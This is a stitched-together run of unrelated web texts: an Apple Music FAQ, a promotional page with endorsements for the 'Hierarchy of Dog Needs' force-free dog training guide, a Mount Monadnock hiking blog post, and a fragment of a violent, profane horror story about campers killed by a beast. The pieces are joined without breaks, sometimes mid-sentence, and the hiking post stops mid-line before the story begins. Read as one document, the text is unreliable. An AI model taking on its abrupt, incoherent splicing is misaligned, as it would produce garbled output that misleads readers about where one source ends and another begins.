How do I search Apple Music?
There are two primary ways to search Apple Music: the dynamic search field, and Siri.
How does Apple Music's dynamic search engine work?
When you tap the search icon, you can type in just about anything you're looking for — artist, song, genre, playlist title — and Apple Music will try and find it for you. It'll also remember what you've searched for recently, and display trending music searches from other Apple Music members.
You'll also be able to filter between searching through Apple Music's catalog and the songs that you've added to your library.
What about Siri? Has it gotten more intelligent about music?
Has it ever! Siri's music-playing and finding abilities are excellent: You can ask it to "Play the top songs from 1980" and it'll make a playlist of the chart-toppers from that year, for instance. Or, while listening to a song, you can say "Play more songs like this," and it'll generate a Genius playlist for you on the spot. You can also tell it to queue up a song: "After this song, play Thru the Eyes of Ruby." And if you like something you've heard on Apple Music, you can ask Siri "Add this song to my library."
Can I still use Home Sharing with Apple Music?
Yup! You can set it up for each of your devices within the Settings and preferences screens.
I have a Sonos system: How can I listen to Apple Music?
Pretty easily! Apple Music is an official Sonos partner, so all you need is the Sonos app on your iPhone, iPad, or Mac. (Unfortunately, Siri doesn't integrate with Sonos, so you won't be able to use voice commands.)
What about other home-connected speakers like the Amazon Echo?
Unfortunately — but unsurprisingly — Amazon currently only supports its own music service, Spotify, and Pandora for the Amazon Echo, Dot, and Tap.
Radio
How does Apple's radio service work?
It's split up into two sections: Beats 1, and algorithmic stations. Apple's premade algorithmic stations are a slight misnomer; They're partially custom-programmed by humans, to add an extra touch. You can also create a new entirely-algorithmic station from one of your songs, artists, or albums, however.
Beats 1 is the other half of Apple's radio initiative: It's a 24/7 station that plays music along with exclusive interviews, special celebrity programs, debut singles, and more.
Tell me about Beats 1?
There's its aforementioned 24/7 nature, achieved by a combination of several A-list hosts and custom programming; it plays in over 100 countries, like Apple Music itself.
Once a Beats 1 show airs, can I download it and listen to it later?
Yes! All of the programmed shows have a full archive, while the everyday live shows are replayed 12 hours later, and some DJs may post playlists or snippets of their shows after the fact.
Who are the hosts of Beats 1?
The current hosts are three top-tier radio personalities: Zane Lowe, formerly of BBC1 and the Beats 1 head of programming, hosts the LA segment; Ebro Darden, former vice president of programming for NYC's WQHT Hot 97, broadcasts for NYC; and Julie Adenuga will host London's broadcast.
Each Beats 1 station also has a number of smaller personalities who run the country-specific shows (London, NYC, and LA each have a few one-hour blocks), along with CHART and REQUEST.
Does Beats 1 play explicit music?
Beats 1 plays music from explicit artists, but the music itself has so far just been clean radio-edits. Currently, there doesn't appear to be a way to set a preference for this on either Beats 1 or other algorithmic Apple Music radio stations.
Are there other radio stations, too?
No live ones, though Beats 1 does host programs from various celebrities and NYC/LA/London DJs whenever Low, Darden, and Adenuga aren't rocking the mic.
You'll have plenty of algorithmic Apple Music radio stations to choose from, however, including Soundsystem, The Mixtape, On the Floor, Pop Hits, All-City, Americana, Blues, Chill, Classic Alternative, Dance Pop, Electronic, Hip-Hop, Indie, R&B, and Workout Anthems. (You can read more about each on Apple's website.)
Can I create my own station?
Yep! You need only select "Create Station" from a song, album, or artist and Apple Music will algorithmically do the rest. You can also adjust your mix on the fly by favoriting songs and marking the ones you dislike.
What if I don't like a song that's playing?
You can easily adjust what your current algorithmic station is playing by firmly pressing on the mini-player (or tapping on the mini-player and tapping the More (…) button): From there, just tap the Love or Dislike button.
Troubleshooting Apple Music
What's the difference between Apple Music and iCloud Music Library?
Apple Music is the company's name for its whole streaming subscription service. iCloud Music Library is the part of that service dedicated to keeping track of any matched tunes from your Mac's library, uploaded songs that didn't match to the iTunes catalog, and any tracks you've added from the Apple Music catalog.
Is iCloud Music Library part of the stand-alone iTunes Match service, as well?
Yep! The iCloud library you use for both services is identical; as of August 2016, they both match to the iTunes Store's DRM-free song catalog.
Apple Music has eaten so much of my data plan! How do I make it stop?
Chances are you're streaming a lot of music over your cellular plan. We've put together a bunch of suggestions for keeping that from happening in the future.
Apple Music sucks so hard! My album art got screwed up, my songs won't sync... ARGH!
Deep breaths. Did you make a backup of your iTunes library before joining Apple Music? It might be worth logging out of Apple Music and going back to that backup.
Depending on your problem, we've got a lot of different troubleshooting steps and solutions you can try. Check out our troubleshooting Ultimate Guide for more help.
You don't have a troubleshooting article that helps me. Is there anything I can do?
Yes! Contact Apple Support. They may be able to help where our articles can't.
Other questions?
Got a question about Apple Music that we haven't answered yet? Drop it off in the comments and we'll try to answer it to the best of our ability.We depend on your donations to help us continue to provide FREE access for all users for educational purposes.
Veterinary Behaviorists Are Using the Hierarchy of Dog Needs! Dr. Katrina Ward, veterinarian and President of the AVBIG (Australian Veterinary Behaviour Interest Group), unveiled the Hierarchy of Dog Needs in her presentation to the Australian Veterinary Association shortly after its release in November of 2015. “The Hierarchy of Dog Needs was very well received and hopefully will be taken up as a routine method of assessing needs and applying humane behavior modification. It will definitely be in my client resource package!” She continues, “Those of us on the front line, dealing directly with clients and their dogs, spend a lot of energy dispelling training myths and rectifying the harm that certain techniques can cause to dog-human relationships. To have this resource, which applies psychology that is not harmful to the individual dog’s mental or physical well-being, is extremely useful.” ~Dr. Katrina Ward To see what other pet professionals are saying about the Hierarchy of Dog Needs, scroll to the bottom of this page.
Introducing The Hierarchy of Dog Needs®
Standards of Care and Best Force-free Practices
Created by Linda Michaels, M.A. Psychology
The Hierarchy of Dog Needs® (HDN) is a unique model of wellness and behavior modification guide outlining standards of care and best force-free practices created for everyone who loves a dog. The dog’s needs are listed hierarchically. However, the exclusively force-free behavior modification techniques, embedded with an ethical code, may be safely and effectively used in any order or combination. The FREE guide is safe and effective for anyone to use with any dog. Pet parents, dog trainers, veterinarians, shelters, rescues, groomers, other organizations and pet-related professionals are encouraged to it. Use the Hierarchy of Dog Needs to open doors to conversations with other pet professionals and pet parents. Ask your veterinarian to provide the Hierarchy of Dog Needs to their clients. Just click on it to print, share, email, or save for later. Please see our VIPP (Very Important Pet Professionals) endorsements below.
ENGLISH
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Download Translation courtesy of
Dr. Simon Gadbois, PhD
Dalhousie University PORTUGUESE
Download Translation courtesy of
Sandra Machado, CPDT-KA, VSPDT CHINESE
Download Translation courtesy of
Ji Min
HIGO Canine Welfare Charity Project SPANISH
Download Translation courtesy of
Luis Gómez, MS,
and Luis Suoto, Dogalia DANISH
Download GERMAN
Download Translation courtesy of Sarah Hoffman
and Simone Müller, Training4Paws
The Hierarchy of Dog Needs® is a unique adaptation of Maslow’s Hierarchy of (human) Needs™. The Hierarchy of Dog Needs has been adapted to meet our dogs’ needs: We must meet our dogs’ biological needs, emotional needs and social needs first. Once we feel assured that these foundational needs have been met, the hierarchy describes the methods that force-free trainers use to modify behavior: management, antecedent modification, positive and differential reinforcement, counter-conditioning and desensitization. The No Shock, No Prong, No Choke logo proudly precludes the use of these devices for force-free trainers.
The HDN adopts the No Shock, No Prong, No Choke, No Dominance, No Fear, No Pain model of dog training and animal care. You may notice in the HDN that neither positive punishment, negative reinforcement, negative punishment, nor extinction appear as training strategies: The HDN is not intended to be a treatise on Learning Theory. It is, rather, a practical framework of wellness and force-free behavior modification for dogs. If you’re still having difficulty with any behavior using these methods, please consult a force-free training expert.
We are truly honored to be featured in Psychology Today in the Animal Emotion section by one of our most applauded heroes and friend to the animals, Dr. Marc Bekoff, Animal Behavior PhD. Nothing could more clearly shine a light on Force-free/Do No Harm wellness and training. To see what other pet professionals are saying about the Hierarchy of Dog Needs, scroll to the bottom of this page.
Find out more!
Our sincerest appreciation and gratitude to both Dr. Marc Bekoff and Dr. Simon Gadbois for contributing quotations for this project. We would also like to extend our thanks to Carmen LeBlanc, M.S. for her kind feedback, and to Jen Bergren for graphic design assistance.
If you are interested in using this graphic in a print publication, you must obtain permission at LindaPositively@gmail.com This publication may not be sold or used for commercial purposes in any form, by anyone but the creator/author, Linda Michaels.
Learn to Make the Case for Force-free Training!
Very Important Pet Professionals (VIPP) Endorsements
The response to the Hierarchy of Dog Needs has been overwhelmingly positive. We applaud and thank the Veterinary Behaviorists for pioneering the use of the HDN in the veterinary professions. We encourage other veterinarians to lead pet parents and share with other pet-related professionals in the animal welfare and force-free movement in using the Hierarchy of Dog Needs.
Lisa Tenzin-Dolma, the founder of the ISCP (International School for Canine Practitioners), says, “Our students and graduates at the ISCP use the Hierarchy of Dog Needs as the basis for their assessments, their work with dogs, and their careers, and I highly recommend that all dog professionals and guardians download it and refer to it often.” The ISCP provides courses up to diploma level in canine psychology and behavior.
ICAN, the animal welfare International Companion Animal Network has featured the HierarchyOfDogNeeds.com on their website as their template of animal care and training. ICAN’s purpose is “to bring together reputable organizations who use, teach and recommend only force-free methods in working with animals”. They seek to set high standards within what is currently an unregulated industry and reach out to collaborate and support like-minded organizations. Thank you Sue Lefevre, chair of ICAN Lisa Tenzin-Dolma, ICAN founder.
Dr. Lynn Honeckman, DVM, owns a behavior-only practice in Orlando, FL, and studies with Dr. Karen Overall, DVM, PhD, Editor of the Journal of Veterinary Behavior. She presented the Hierarchy of Dog Needs to pre-vet club students at the University of Central FL and Lunch-and-Learn veterinary and emergency clinic talks. Dr. Honeckman is a member of Dr. Marty Becker’s Fear-Free advisory board, a committee chairperson for AVSAB position statements, and special council for and member of the PPG advocacy committee “Understanding the Hierarchy of Dog Needs is critical in treating every aspect of our patients. It is important to remember that veterinary care cannot be solely focused on physiological needs without taking the other aspects of emotional, social, training, and cognitive needs into consideration. We should approach every living being with the knowledge that above all we should do no harm.”
~ Dr. Lynn Honeckman
Monique Feyrecilde, BA, LVT, VTS, speaker for 6 sessions at the DVM360 Veterinary Conference, co-author of Cooperative Veterinary Care, and veterinary technician specialist in behavior, presented the Hierarchy of Dog Needs guide as part of her enrichment presentation to a worldwide audience of veterinarian attendees. Find Monique’s book here.
Veterinary Behaviorist, Dr. Joanna McLachlan, includes the Hierarchy of Dog Needs in the information packets she provides to her patients.
Peggy Moran, dog behavior consultant, speaker, and dog trainer, used the Hierarchy of Dog Needs in a repeat speaking engagement to Animal Behavior students at the prestigious University of Chicago. Her presentation was entitled: Lost in Translation: How Myth and Misperception Undermine the Human/Dog Relationship.
Tallinn University School of Natural and Sciences and Health in Estonia, offered a course titled: “Introduction to Canine Cognition, Behavior, and Human-Animal Interactions”, including the Hierarchy of Dog Needs guide, taught by Maarja Tali. Learn more about the internationally acclaimed university school cooperative venture with the Estonian Association of Assistance and Therapy Dogs and the Norwegian Centre of Anthrozoology here.
“The Hierarchy of Dog Needs helps fill unmet or under met dog needs,” s ays “America’s Veterinarian”, Dr. Marty Becker. Dr. Marty is “Taking the ‘pet’ out of petrified” SM with the newly launched FEAR-FREE SM veterinary clinic campaign, on the forefront of animal care. He supports force-free behavior modification.
The Royal Society of the Prevention of Cruelty to Animals (RSPCA) Chief Inspector (retired), Jan Eachus, is including the Hierarchy of Dog Needs in animal abuse and neglect criminal cases he is investigating for prosecution. We are honored to be included in his witness statement resources list alongside the DEFRA Code of Practice for Dogs and the Animal Welfare Act of 2006 (Section 9). The code states, “Dogs feel pain and have similar pain thresholds to people.” Jan is currently a Metropolitan Police Canine Welfare Officer.
Carol Neil, founder of the Alberta Force Free Alliance, says, “We use the Hierarchy of Dog Needs guide in our pamphlet to bring awareness about dogs’ needs since the vast majority of pet parents think only of biological needs. We love the beauty and simplicity of the “Do No Harm” training manual and include a link to purchase it on our website as a great resource for pet parents to help fulfill the Force-free training needs of their dogs.”
T he Association of INTOdogs has adopted the Hierarchy Of Dog Needs standards and practices to their page as their guide to dog trainers, behaviorists and other dog professionals. INTOdogs “seeks to uphold and promote the highest ethical standards in the training and support of dogs by promoting positive, kind methods in order to enhance the quality of life for owners and dogs” Our sincerest thanks to Andrew Hale, chair, and Denise O’ Moore, vice-chair of INTOdogs.
Jennifer Cattet Ph.D. from Medical Mutts says, “The Hierarchy of Dog Needs covers far more than the trainer’s choice of methods. It’s very well thought out.” Medical Mutts is a service dog training organization that helps dogs who have been abandoned and improves the lives of people faced with difficult challenges.
The Dog Lady, Jill Hyslop, was the chosen behaviourist at the Ireland Pet Expo where more than 50,000 people attended, and her booth and presentation featured the Hierarchy Of Dog Needs guide! This is truly an honor. Here’s a bit of what Jill is saying in the video,”They can feel a huge range of emotions, very similar to a 2-year-old child. I believe that you can get any dog to do any thing if you have a good trainer who uses force-free methods. To say anything different is to contradict the way the mammalian brain works and the top universities that have studied it. There is never a need for pain or fear when you’re training a dog.” Go Do No Harm Dog Team!
“I give the Hierarchy of Dog Needs to all my clients,” says Michelle Martiya, Gentle Grooming instructor. “Having such a clear picture of all of their dog’s needs really helps my clients to focus on areas that are lacking in their dogs care, and by addressing these needs, their dog’s behavior (and overall health) improves both in the home and during grooming. “Michelle’s unique Beast to Beauty, Inc. webinars and workshops provide critical continuing education for groomers. Michelle teaches low stress handling techniques, training, and behavior modification for dogs in the grooming salon.
FACE (Foundation for Animal Care and Education) said on their blog, “Once our dogs’ foundational needs (biological, social, emotional) are met, we can then use the Hierarchy of Dog Needs to address force-free behavior modification.” The FACE Foundation is a San Diego area nonprofit whose mission is to enhance and preserve the quality of life of animals by providing access to necessary medical care and education.
In his essay on Techniques for Bishop Burton College, Shay Kelly, used the Hierarchy of Dog Needs to support his work on conditioning. Kelly, a Foundation Science degree student in canine behavior and training, says, “Michaels’ adaptation of the hierarchy to represent canine needs, places safety and security in first and second place respectively in order of requirement. It may therefore be reasonably argued that the dog-human relationship will be adversely affected because of a lack of bonding between dog and human if the human is using positive punishment… “
National Crisis Response Canines member, Cynthia LeBouef Stone tells us that NCRS will be using the Hierarchy of Dog Needs in their training manual regarding Maslow’s Hierarchy of (human) Needs™. LeBouef explains, “The Hierarchy would be a reference to the canine portion of the team.” National Crisis Response Canines is a 501c3 nonprofit that provides safe, compassionate support to people affected by crisis and is one of only two organizations recognized by the U.S. Department of Homeland Security to provide Crisis Response Canines to a disaster. They use a positive-only training environment.
Michael Nichols, certificant in Dog Emotion and Cognition from Duke University’s Canine Cognition Center, presented the Hierarchy of Dog Needs to the Whatcom Humane Society in Washington state. “I included the Hierarchy of Dog Needs in our discussion about dog emotions and cognition — and why it is impossible to know what dogs can learn without consideration of the base of the pyramid. A client wrote to me saying: “My favorite part was the pyramid mapping the Hierarchy of Dog Needs.” ~Michael Nichols
Guy Williams, Avon & Somerset Police U.K., is a force-free police dog trainer and police dog handling instructor. Guy spoke at the 2016 IMPACT Working Dog Conference and opened his presentation with the Hierarchy of Dog Needs. “Everything starts by nurturing the dog and this is counter-intuitive to many handlers. Getting dogs working with you is the secret and that requires being someone worth working with. Loki (photo) is proof of that! And once again that brings us to the Hierarchy.” ~ Guy Williams
SA Amigo magazine, a non-profit bilingual pet magazine located in San Antonio whose goal is to help educate the community on animal wellness and decreasing euthanasia rates, has featured the Hierarchy of Dog Needs in their Fall issue. SA Amigo is distributed at San Antonio’s Whole Foods. View the issue here.
Jody Anderson, She Who Dances With Goats, uses the Hierarchy of Dog Needs to teach children in 4-H about caring for and training their animals force-free. “I am trying to make changes in the goat world. We want to show the children that there is a different way to train and treat their animals, that they can and should be trained with respect.” ~Jody Anderson
Petra Edwards, one of the first 20 trainers to earn the pet industry’s new gold standard force-free training certification, the Professional Canine Trainer-Accredited (PCT-A), is using the Hierarchy of Dog Needs in her behavioral consultations and seminars in Australia.By Sierra Sumner
“The Pats are known to run up these trails,” my friend Stephanie tells us just five minutes into our hike on Mount Monadnock. Already wheezing, we look at her in shock.
We’re hiking up the white dove trail on Mount Monadnock, a treasured mountain in New Hampshire.
We had decided to take on the trail that our beloved New England Patriots use as a place to work out. Coincidentally, most of us are sporting some of our Boston football team’s apparel as we braved Monadnock.
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Only after a few minutes in, we understood why they choose this mountain to run up. The mountain trails consist of tough rocks that required our hands, feet, and all our strength to climb up. The trails were steep and oftentimes we were holding onto tree branches as we pulled ourselves up.
The Preparation
That day, at seven in the morning, we had packed up my car with snacks, water, and a gallon of sunscreen in preparation for this mountain. We set off for our hour and a half ride to the New Hampshire state park.
We rolled up to Monadnock State Park, located in Jaffrey, New Hampshire, around nine in the morning. We paid an relatively low entry fee that let us park all day and we grabbed a map from the ranger station of Mount Monadnock. We were glad that the morning air was warming up and the day promised decent weather.
Speaking of the weather, there’s a live webcam of the Mount Monadnock viewed from Franklin Pierce University in Rindge, NH. Be wary though, this webcam takes its video from approximately 6-7 miles away from the base of the mountain.
This means that the weather readings don’t necessarily apply to current conditions of Mount Monadnock. If you want to find out the weather before you go, you can call the park directly at (603) 532-8862.
Monadnock State Park is open year-round for all activities, such as cross-country skiing and camping. From May to late October, you can camp out at the Gilson Campground within the state park.
Picking the White Dot Trail
After much time looking at the mountain’s topography, we decided to complete one of the steepest trails, since we thought it was be faster and more challenging than the others. We set off onto a dirt trail, which for a half mile remained a somewhat easy trail, until the rocks came.
Monadnock has many huge boulders and rocks that take up the entire trail; they require you to crawl and climb on your hands and feet to get up. It wasn’t easy work, but each time we stopped to pause and drink some water we found new strength to keep going.
After hours of climbing this mountain, we thought we had the end in sight. We did not. Once we broke out of the forest of trees and could see the peak of the mountain, we thought it was getting closer and closer than it really was.
It took us several hours to actually reach the peak of Monadnock. It was a difficult journey that involved every ounce of effort along the way.
Reaching the Peak
The last leg up to the top was one of the hardest. We had been hiking all morning with new terrain from dirt to scaling rocks to crawling up boulders.
At this point, we also saw the rock piles. They were along the trail once we left the tree line and were walking on rock beneath our feet. Most of these rock piles were taller than me and reached up to the sky.
We climbed and heaved until, finally, we reached the top. Before me was a rich green forests and a vibrant blue sky with swirling, creamy white clouds.
We sat down together and had a victory lunch, listening to the wind and taking in the stunning, crisp view.
If you’re going to hike to the top, I certainly recommend a sweatshirt. You won’t want it on your way up on a hot day, but once you reach the peak, you are exposed to cold winds and you’ll regret it if you forget your warm gear.
Very Tired and Very Proud
After much time at the top, we eventually remembered we had to leave and make our way down the mountain. This is where you have to be most cautious; most hikers injure themselves on the way down mountains, when you’re tired and you can quickly fall.
We certainly wanted to be careful – we had no cell service on our hike and there would be no way for a rescue helicopter to land.
We all made it down the mountain together, exhausted from the day and a little scraped up, but completely glowing from the accomplishment. We had made it to the summit and it was not easy; we took many breaks and had to motivate each other along the way to keep going.
Monadnock’s History
Monadnock, also known as the Grand Monadnock, is the most prominent mountain in southern New Hampshire and one of the most frequently climbed mountains in the world |
It took Cindy and I don’t think it’s done yet, Brad. So don’t tell me shit!” Suzie stared at Brad and as their eyes locked a feeling of dread oozed from her rambled mind and slipped into Brad’s head. His defenses were useless; dread slipped easily past his mental guardian and made itself at home.
Jimmy paced around the others, his mind spinning unable to come to terms with this situation. No joke could pacify this turn of events. His dampened Levis clung unnoticed to his leg, His 501 fly stood wide open and his manly tool stood in disarray, half tucked into his fruit-of-the-looms and half exposed to the night. With mechanical effort he righted the situation and continued to pace.
All of this happened in the tense moments before the scream.
“Cindy! Oh my God, she’s still alive. We’ve got to help her.” Jimmy started after the dying scream.
“Wait! Jimmy, wait!” Dave grabbed his arm, pulling him back. “We have to stick together. We don’t know what we’re dealing with. We don’t know what’s out there, Jimmy.”
“Cindy is out there, Dave. That’s what’s out there! She might not have time for thought. I have to try to help her and now!” A firm resolve had come to his mind. Time was of essence here. This was easy to see and even more clarified when the next scream shattered the thoughts of the remaining five.
“Jimmy’s right, Dave. We have to try something” Brad wrestled with the settling dread, but could not shake it from his mind, so he tucked it behind what bravery he could muster and grabbed his flashlight”
“I’m not staying here.”
“Me neither, no way.”
The girls clung to their men. Their men clung to what weapons they could find, a sharp stick, a rock and a tent pole and with fear as their guide they headed into the woods.
Darkness met them at the edge of the campfire’s glow and let them in. Welcome it seemed to say, welcome to the unknown.
She was dead before they hit the edge of the night. There would be no more screams for them to follow. The horrific site that Rena had visualized was what Cindy had felt. The beast had kept her alive to bait the others in and just as soon as courage had brought them forward, death set her free. Her fear was enjoyed immensely, every drop savored, every flinch as delicate as the next, her screams were excruciatingly delicious. The beast was primed now as he strolled back into the inviting paths that the dark night offered. The night had exploded with fear and the fun had just begun!
Lightning splintered in the distance and heavy raindrops blotted from the sky, thunder exploded from somewhere far away and five friends walked into a storm. The storm that threatened overhead would pass with out much notice, head due east and fall on rooftops with the pitter patter sounds that lulled soft and warm people to sleep, but the storm they were walking into would explode into a full blown nightmare!
They creep into the stifling darkness, jumping at every sound, wincing at the power of their imagination and waiting in trepidation for the unknown predator to make its next move. A snapping twig sends an explosion of adrenaline racing through their bodies. Their heartbeats threaten to explode from their chest and flee into the night. The further they advance into the darkness the stronger the night seems to grow. With each step it closes in on their flashlight beams like a swarm of hungry gnats. Lush is the dense forest, its’ thick boughs reaching into the night, their height a mystery to the eye as the darkness of the night covers their tracks well. The wind whispers a haunting tale as it crawls through the canopy, creeping its way to the forest floor mimicking the movement of menace.
The blood trail isn’t hard to follow. A steady stream guides them towards their doom. Fifty feet into the trail the stream turns into scattered droplets and fifty feet further the droplets disappear all together.
With no trail to follow and only four of the five flashlights remaining, the groups’ determination begins to fold, fear pulses within their veins as the wilds of their imagination take form and take control. Silence has embedded itself upon the forest; the creatures of the night dare not stir, for even the hunters’ have become the hunted. This eerie silence is like being stuck in a crocodile filled swamp on a foggy night, navigated by a mysteries old man, in an old boat, with a quarter moon to light the way.
Fifty feet further brings them to the realization that hope is not on their side. With no sign of a trail to follow and not a clue as to what they are up against, the walls of defiance, which they had so nimbly constructed within their minds, begins to crumble.
“We have to go back. It’s too damn dark out here.” Fear filled her words as it robbed her of any bravery or camaraderie that she had left.
“We can’t leave her, Suzie. For God’s sakes she needs us!” Jimmy’s flashlight flickered and went dead. He smacked it on his leg and shook it, grudgingly, back to life.
“She’s my friend to Jimmy, but she’s gone.”
“How can you say that? She is alive!” The flashlight shimmered its objection and again went dead. “SHIT, I’m going out of my fucking head here.” The flashlight blatantly refused to shine and so paid for its defiance. Jimmy slammed the flashlight against a tree and tossed the shattered remains, the darkness swallowed it in its gloom.
“Jimmy, bro, take it easy. We’re all freaked out here, but I’m afraid that Suzie’s right. We’re all going to die if we don’t get out of these woods. We have to get back to the suburban and haul ass out of here. We can’t do anything else. We’ll send the authorities as soon as we reach cell phone range. Look around you, we’re half way in the middle of freaking no where and we don’t have the slightest clue where to look.” Brad hugged his frightened girlfriend and kissed her gingerly upon her cheek.
The beast felt the breaking of their strengths and moved in to further destroy their shattering will. With stealth and speed the creature closed in on his frightened prey.
Brad spun to face the charge, his flashlight filled his eyes with fear, but still gallantly his tent pole sword swung into defense. The beast smacked the flashlight into submission and swept the helpless human off his feet with a powerful slash. The pole swung harmlessly into the air as feet found their selves at the same height as ass only moments ago, his body slammed into the hard earth just as his human cry echoed into the night. So quickly did follow the commotion of the frightened crowd, screams from the girls, panic and retaliation from the men. There was still a fight left in the others, not for long thought the ancient predator, not for long and as quick as it had come, it was gone.
The two remaining beams of light battled the darkness as they furtively searched for the attacker.
David and Jimmy immediately went to Brad’s aid, David’s flashlight tracking the direction of the beast, but finding nothing. Jimmy grabbed the flashlight from David’s hand, directing it on the wounded leg so David could fix the problem. David was always giving someone first aid so naturally it would be him to wrap up the gashing wound.
Jimmy held Brad’s head. “Brad, are you all right? Brad.”
He groaned upon the ground as his eyes flickered around beneath their coffin-closed lids.
The frightened girls stood huddled close, their shared flashlight searching in a panic for what they hoped they would not have to see.
“Where did it go? It’s coming back. I know it will. Just like before. It’s coming back! I’ve got to get out of here!” Suzie’s panic smashed into her in overwhelming tides that she could not defy. Her mind broke and she bolted into the woods.
“Calm down. Calm down. Don’t!” David tried to grab the frightened girl but inches defied him and she was gone, disappearing into the darkness within an instant. “No! Damn.”
“I’ll get her.” Jimmy dashed after Suzie without thought or hesitation, his flashlight bouncing into the night and then disappearing all together.
Brad groaned upon the ground, his mind coming back to the now. “My leg. Oh man my leg. Is that thing gone? Is everyone else okay? Oh, Jesus, we’re fucked. Did you see that thing? We’re going to need better weapons!”
“Lay still, Brad. Your leg looks bad, bro. Let me wrap it up.” David held him down in hopes that Jimmy would find Suzie and return before that thing came back. Rena stood by his side, the last flashlight aimed at Brad’s torn leg.
“Suzie, baby where are you. It’s going to be okay, baby.” Brad looked up. “Where is she?” Panic welled up in his voice as he struggled against Brad’s grip. “Let me up, man.” A cold warning lingered in his words as he grabbed his friend’s arm. He pulled himself up and limped to his feet. “Where is she, David? Oh, baby, don’t do this to me.”
Rena moved in, her soft words trying to alleviate the deteriorating situation. “Jimmy’s going after her. They’ll be back, Brad, they’ll be back.” Her last words were to convince her of her own statement. “She panicked and ran and Jimmy ran after her.”
“Oh no, man. Oh no. This is not good. Which way did they go? We’re going after them!”
“What are we going to do, David? Suzie, Jimmy!” She screamed into the night without waiting for a reply. “Oh my God, this isn’t happening.” Rena looked at David, as did Brad. He had always been the silent leader in their lives. He always knew what to do; why even as kids it was David with the answers.
His flashlight explored the forest, but brought no answers to this question. He looked solemnly at the others as he spoke. “I don’t know.” The last flashlight danced once more upon the forest floor and then they turned left and hooked into the forest.
Had they turned right instead of left they would have stumbled over Suzie’s half eaten body. Recognition would have purged them of their stomach’s contents and sent most of them into shock.
The walking stick was fashioned from a stout broken branch and doubled as a weapon. David had sharpened the end into a fine point as best he could with what could be found. He had also picked another branch as his own weapon and so the remaining three went in search of the lost two as they headed back in the direction of the camp.
“Are you all right, Rena?” David stopped momentarily and held her face in his hands as he stared into her beautiful eyes. The overbearing darkness held her beautiful blues at bay, but David didn’t need light to see her eyes, they had long ago been implanted in his mind’s eye. “I love you, baby. If we don’t make it out of here, I want you to know that.”
“I do know that, David. Now lets just kill that damn thing and go home.”
“I’m all over that. It’s time for some payback.” Brad shook his head in agreement as he squeezed tighter his grip on his walking stick, slash killing tool.
The blocks of defiance were starting to be remodeled as the group pulled together and dug into the trenches of resistance.
“What was that? I heard something move out there.” Brad’s eyes fought the darkness in a futile battle as he searched the inky blackness of the forest. “No, over there, Rena.”
Her flashlight skirted across the darkness, but found nothing more than shadows. Some of these shadows danced, others fidgeted nervously as if the darkness were their only true friend, some appeared to hide, receding into the dark night, but one of these shadows took form, breaking out of the shadow realm and smashing into reality.
Fangs and fur rolled into action as the thing charged. Rena’s high pitch scream shattered the silence of the night, as all at once hell broke loose in the forest. Birds of the night took wing as the small hidden creatures of the forest scurried in panic for new cover. The field mice were safe from the winged hunters, the rabbits were safe from the foxes and the foxes did not fear the hounds, for a new predator stalked these woods and it was he that all feared and all fled.
The flashlight bounced and then took off for the treetops, as Rena back peddled and stumbled to the ground. When the beam again found its focus, Rena screamed. The bloodied face of the beast was sunk deep into Brad’s shoulder and as she stared in horror it raised its crimson stained face and growled.
Nothing could have braced her for this sight, for what she witnessed was not a bear or a wolf, or any other creature that she had ever seen, but a creature pulled from the nightmares of ten thousand dreams. Its face was blackened as if scorched by the flames of hell. Holding on to no true form its skin crawled upon its face as if maggots burrowed beneath its flesh. The creature looked at Rena with a demonic gaze that seemed to stare straight into her soul. It peeled back its rotted lips and gargled cries rose from within.
Blood dripped from its fangs as it stepped over Brad and slowly closed in. Terror held Rena in its clutches. Too afraid to move she trembled like a frightened child, her eyes locked on the closing doom.
Where was David, he must be down, but she could not take the flashlight away from the beast for even a second, for fear that it would attack. Her heartbeat raced within her chest, Brad moaned upon the ground and still no sign of David. The beast took another step in her direction and sniffed at the night, pulling in her scent its eyes closed and its mouth quivered in some form of demonic ecstasy.
It stood directly above her now, but still did not attack. A drop of her friend’s blood dripped upon her cheek, she could feel its warm breath upon her face and smell the putrid rank of old death.
Jimmy’s cry tore into the night with a fierce roar, reminiscent of old, a battle cry from days long past. The beast hesitated for just a second, torn back to a time of old when battle cries echoed across the land, followed by the deadly ring of steel. This cry was deadly as well, as this hesitation caused him the first blow.
Jimmy came in hard, anger leading his attack he struck at the beast with all his might. The tip of his makeshift spear buried itself into the side of the beast’s neck. The predator turned, an anguished growl gargled from its throat as it turned its assault on its unexpected attacker. The wound had caused more pain then just from the weapon, anger’s hatred had struck a mighty blow into the beast as well.
David’s consciousness returned in time to see this assault. Brad was down, David’s vision blurred as he sat up staring into the darkness of the night, the flashlight beam casting sporadic shadows across the bloodied scene. Rena lay back on the ground with blood upon her face. Was she hurt? A sudden burst of anger welled within him as this thought crashed into his mind.
The beast was turning upon his attacker when another defiant roar split its way into his head, alone in this world he shuttered. It was happening. Sure it had happened before, it always ended this way, but never this fast. Was his time here drawing to an end? Was he not as powerful as he once had been? He turned back to the girl, she was the weak one, she would feed him the beautiful fear, but instead she kicked out a repulsive kick that landed a severe blow to the side of his head. It seemed so cold now; they had bonded together and struck out at him with a very powerful weapon, one that he could not stand against for long – hatred! The hatred here had grown strong, but not yet was it enough. He cringed as the hatred burned its way through his body, cursing its way into his system and bringing with it the pain of degeneration. He felt another stab from his other side and a heavy thud as the first attacker struck at him again. The beast shrunk away from these attacks and bolted into the night.
They had attacked and he had shrunk away from their assault. Had he stayed he may have found himself trapped, once more, deep in the confines of hatred. He had escaped them for now and he would regroup and reemerge, once again they would fear him.
The times here they were changing, superstitions an old fears were almost dead upon this world. Had the innocents of fear been weakened to this point? Had the human mind become numb to the possibilities of the unknown? They were so quick to rebound, but he had tasted their fear and he knew he could bring them to where they needed to be. If the wounded one still lived he would finish him, feed upon his flesh and strengthen from his fear. The female one had kicked him in his face, for that she would pay!
Brad moaned upon the ground, the blood from his shoulder streaming from the grisly wound. His was incoherent and loosing more blood with each beat of his fading heartbeat.
They had done their best to compress his wound, but it was gruesomely obvious that a main artery had been severed and this crimson tide would not be subdued by their meager means.
“Oh my God, he’s dying. Tie it off Jimmy, do something!”
“I can’t. It’s right by his neck. What do you want me to do tie off his fucking head?
Everyone was tense now. This shit was really getting to their heads and when Jimmy yelled at Rena David stepped out of the norm and got really pissed. “Hey that’s enough asshole. Rena is freaking out like we all are.”
“Well hey, I’ve got an idea. Fuck you and fuck Rena? Jesus, man I’m Going to kill that son-of-a-bitch! You fucker!” Jimmy stood up and kicked at the ground, a gaze of hatred streaming from his eyes like a red-hot laser, hot enough to melt steel. “Shit!” His voice resounded into the night and the beast felt the wrath of his call.
